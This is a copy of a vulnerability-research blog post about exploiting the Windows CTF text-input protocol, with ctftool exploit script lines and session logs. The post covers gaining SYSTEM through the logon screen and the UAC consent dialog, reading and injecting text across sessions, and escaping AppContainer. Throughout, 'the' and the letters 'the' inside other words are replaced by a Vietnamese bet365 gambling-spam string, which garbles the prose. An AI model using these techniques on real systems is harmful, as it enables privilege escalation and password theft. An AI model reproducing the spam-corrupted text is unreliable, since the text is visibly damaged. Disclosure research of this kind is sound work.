# cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 displacement in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dec gadget. Then calculate (-(r1 >> n) & 0xff) to find out how many times
# we need to decrement it.
#
# We can't read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data, so we must be confident it's all zero for this to work.
#
# CFG is a very weak mitigation, but it sure does make you jump through some awkward hoops.
#
# These loops produce cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address we want 1 byte at a time, so I need eight of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m.
patch 0 0xa8 r0 8 -0x160
set r1 r0
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 496
patch 0 0xa8 r0 8 -0x15f
set r1 r0
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 496
...
Generating fake objects in memory one decrement at a time...
Now that I can build fake objects, I was able to bounce around through various gadgets to setup my registers and finally return into LoadLibrary(). This means I can compromise any CTF client, even notepad!
Am I cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first person to pop a shell in notepad? 🤣
Making it matter...
Now that I can compromise any CTF client, how do I find something useful to compromise?
There is no access control in CTF, so you could connect to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r user's active session and take over any application, or wait for an Administrator to login and compromise cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir session. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a better option: If we use USER32!LockWorkstation we can switch to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privileged Winlogon desktop that is already running as SYSTEM!
It's true, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re really is a CTF session for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 login screen...
PS> ctftool.exe  
An interactive ctf exploration tool by @taviso.  
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help lock
Lock cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 workstation, switch to Winlogon desktop.
Usage: lock
Unprivileged users can switch to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privileged Winlogon desktop using USER32!LockWorkstation. After executing this, a SYSTEM privileged ctfmon will spawn.
Most commands require a connection, see "help connect".
ctf> lock
ctf> connect Winlogon sid
The ctf server port is located at \BaseNamedObjects\msctf.serverWinlogon3
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverWinlogon3") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverWinlogon3, Handle 00000240
ctf> scan
Client 0, Tid 2716 (Flags 0000, Hwnd 00000A9C, Pid 2152, ctftool.exe)  
Client 1, Tid 9572 (Flags 0x1000000c, Hwnd 00002564, Pid 9484, LogonUI.exe)
Client 2, Tid 9868 (Flags 0x10000008, Hwnd 0000268C, Pid 9852, TabTip.exe)
The Windows logon interface is a CTF client, so we can compromise it and get SYSTEM privileges. Here is a video of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attack in action.
Watch a video of an unprivileged user getting SYSTEM via CTF.
You can read more notes on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation process here.

The "TIP" of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 iceberg...
The memory corruption flaws in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF protocol can be exploited in a default configuration, regardless of region or language settings. This doesn't even begin to scratch cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 surface of potential attacks for users that rely on out-of-process TIPs, Text Input Processors.
If you have Chinese (Simplified, Traditional, and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs), Japanese, Korean or many ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r[4] languages installed, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you have a language with extended capabilities. Any CTF client can select this language for anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r client, just having it installed is enough, it doesn't have to be enabled or in use.

This allows any CTF client to read and write cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text of any window, from any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r session. 

Using ctftool we can, for example, replace cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 text in notepad with our own text.
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 000001E8
ctf> wait notepad.exe
Found new client notepad.exe, DefaultThread now 3468
ctf> setarg 7
New Parameter Chain, Length 7
ctf> setarg 0x1 0100000001000000
ctf> setarg 0x1 0000000000000000
Dumping Marshal Parameter 1 (Base 0120F6B8, Type 0x1, Size 0x8, Offset 0x78)
000000: 00 00 00 00 00 00 00 00                          ........
Marshalled Value 1, DATA
ctf> setarg 0x201 0
Dumping Marshal Parameter 2 (Base 0120F6B8, Type 0x201, Size 0x8, Offset 0x80)
000000: 00 00 00 00 00 00 00 00                          ........
Marshalled Value 2, INT 0000000000000000
ctf> setarg 0x201 11
Dumping Marshal Parameter 3 (Base 0120F6B8, Type 0x201, Size 0x8, Offset 0x88)
000000: 0b 00 00 00 00 00 00 00                          ........
Marshalled Value 3, INT 000000000000000b
ctf> setarg 0x201 16
Dumping Marshal Parameter 4 (Base 0120F6B8, Type 0x201, Size 0x8, Offset 0x90)
000000: 10 00 00 00 00 00 00 00                          ........
Marshalled Value 4, INT 0000000000000010
ctf> setarg 0x25 L"TestSetRangeText"
Dumping Marshal Parameter 5 (Base 0121C680, Type 0x25, Size 0x20, Offset 0x98)
000000: 54 00 65 00 73 00 74 00 53 00 65 00 74 00 52 00  T.e.s.t.S.e.t.R.
000010: 61 00 6e 00 67 00 65 00 54 00 65 00 78 00 74 00  a.n.g.e.T.e.x.t.
Marshalled Value 5, DATA
ctf> setarg 0x201 0x77777777
Dumping Marshal Parameter 6 (Base 0121E178, Type 0x201, Size 0x8, Offset 0xb8)
000000: 77 77 77 77 00 00 00 00                          wwww....
Marshalled Value 6, INT 0000000077777777
ctf> call 0 MSG_REQUESTEDITSESSION 1 1 0
Result: 0
ctf> marshal 0 MSG_SETRANGETEXT
Result: 0, use `getarg` if you want to examine data
Using CTF to change and read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of windows.
The obvious attack is an unprivileged user injecting commands into an Administrator's console session, or reading passwords as users log in. Even sandboxed AppContainer processes can perform cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same attack.
Anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r interesting attack is taking control of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 UAC consent dialog, which runs as NT AUTHORITY\SYSTEM. An unprivileged standard user can cause consent.exe to spawn using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "runas" verb with ShellExecute(), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n simply become SYSTEM.
The UAC consent dialog is a CTF client that runs as SYSTEM. For screenshot purposes I lowered cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 UAC level here, but it works at any level. By default, it uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "secure" desktop.... but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no access control whichever level you choose ¯\_(ツ)_/¯
PS> handle.exe -nobanner -a -p "consent.exe" msctf
consent.exe        pid: 6844   type: ALPC Port      3D0: \BaseNamedObjects\msctf.serverWinlogon1
consent.exe        pid: 6844   type: Mutant         3F0: \Sessions\1\BaseNamedObjects\MSCTF.CtfMonit
orInstMutexWinlogon1
consent.exe        pid: 6844   type: Event          3F4: \Sessions\1\BaseNamedObjects\MSCTF.CtfMonit
orInitialized.Winlogon1S-1-5-18
consent.exe        pid: 6844   type: Event          3F8: \Sessions\1\BaseNamedObjects\MSCTF.CtfDeact
ivated.Winlogon1S-1-5-18
consent.exe        pid: 6844   type: Event          3FC: \Sessions\1\BaseNamedObjects\MSCTF.CtfActiv
ated.Winlogon1S-1-5-18
consent.exe        pid: 6844   type: Mutant         450: \Sessions\1\BaseNamedObjects\MSCTF.Asm.Mute
xWinlogon1
consent.exe        pid: 6844   type: Mutant         454: \Sessions\1\BaseNamedObjects\MSCTF.CtfServe
rMutexWinlogon1

I've implemented this attack in ctftool, follow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 steps here to try it.

So what does it all mean?
Even without bugs, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CTF protocol allows applications to exchange input and read each ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r's content. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are a lot of protocol bugs that allow taking complete control of almost any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r application.
It will be interesting to see how Microsoft decides to modernize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 protocol.
If you want to investigate furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r, I’m releasing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tool I developed for this project.
Conclusion
It took a lot of effort and research to reach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 point that I could understand enough of CTF to realize it’s broken. These are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kind of hidden attack surfaces where bugs last for years. It turns out it was possible to reach across sessions and violate NT security boundaries for nearly twenty years, and nobody noticed.
Now that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is tooling available, it will be harder for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se bugs to hide going forward.


Bonus... can you pop calc in calc?
In Windows 10, Calculator uses AppContainer isolation, just like Microsoft Edge. However cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel still forces AppContainer processes to join cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ctf session.
ctf> scan
Client 0, Tid 2880 (Flags 0x08, Hwnd 00000B40, Pid 3048, explorer.exe)
Client 1, Tid 8560 (Flags 0x0c, Hwnd 00002170, Pid 8492, SearchUI.exe)
Client 2, Tid 11880 (Flags 0x0c, Hwnd 00002E68, Pid 14776, Calculator.exe)
Client 3, Tid 1692 (Flags 0x0c, Hwnd 0000069C, Pid 15000, MicrosoftEdge.exe)
Client 4, Tid 724 (Flags 0x0c, Hwnd 00001C38, Pid 2752, MicrosoftEdgeCP.exe)
This means you can compromise Calculator, and from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re compromise any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r CTF client.. even non AppContainer clients like explorer.
On Windows 8 and earlier, compromising calc is as simple as any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r CTF client.
So yes, you can pop calc in calc 😃

[1] Via twitter.
[2] I can’t figure out what CTF stands for, it’s not explained in any header files, documentation, resources, sdk samples, strings or symbol names. My best guess is it's from hungarian notation, i.e. CTextFramework.
[3] Adding support for Windows Vista would be trivial. XP support, while possible, would be more effort.
[4] This list is not exhaustive, but presumably you know if you write in a language that uses an IME.

No comments:

Post a Comment